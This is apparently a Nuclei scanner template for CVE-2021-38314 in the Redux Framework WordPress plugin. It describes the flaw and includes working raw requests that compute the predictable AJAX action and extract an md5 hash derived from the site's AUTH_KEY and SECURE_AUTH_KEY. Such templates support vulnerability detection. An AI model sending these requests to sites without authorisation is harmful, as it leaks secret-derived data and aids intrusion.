id: CVE-2021-38314 info: name: Redux Framework - Unauthenticated Sensitive Information Disclosure author: meme-lord severity: medium description: The Gutenberg Template Library & Redux Framework plugin <= 4.2.11 for WordPress registered several AJAX actions available to unauthenticated users in the `includes` function in `redux-core/class-redux-core.php` that were unique to a given site but deterministic and predictable given that they were based on an md5 hash of the site URL with a known salt value of '-redux' and an md5 hash of the previous hash with a known salt value of '-support'. These AJAX actions could be used to retrieve a list of active plugins and their versions, the site's PHP version, and an unsalted md5 hash of site's `AUTH_KEY` concatenated with the `SECURE_AUTH_KEY`. reference: - https://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/ - https://wahaz.medium.com/unauthenticated-sensitive-information-disclosure-at-redacted-2702224098c - https://blog.sorcery.ie/posts/redux_wordpress/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2021-38314 tags: cve,cve2021,wordpress,wp-plugin requests: - raw: - | GET /wp-admin/admin-ajax.php?action={{md5(replace('http://HOST/-redux','HOST',Hostname))}} HTTP/1.1 Host: {{Hostname}} Accept: */* - | GET /wp-admin/admin-ajax.php?action={{md5(replace('https://HOST/-redux','HOST',Hostname))}} HTTP/1.1 Host: {{Hostname}} Accept: */* stop-at-first-match: true matchers-condition: and matchers: - type: dsl dsl: - "len(body)<50" - type: regex name: meme regex: - '[a-f0-9]{32}' part: body - type: status status: - 200 extractors: - type: regex part: body regex: - "[a-f0-9]{32}"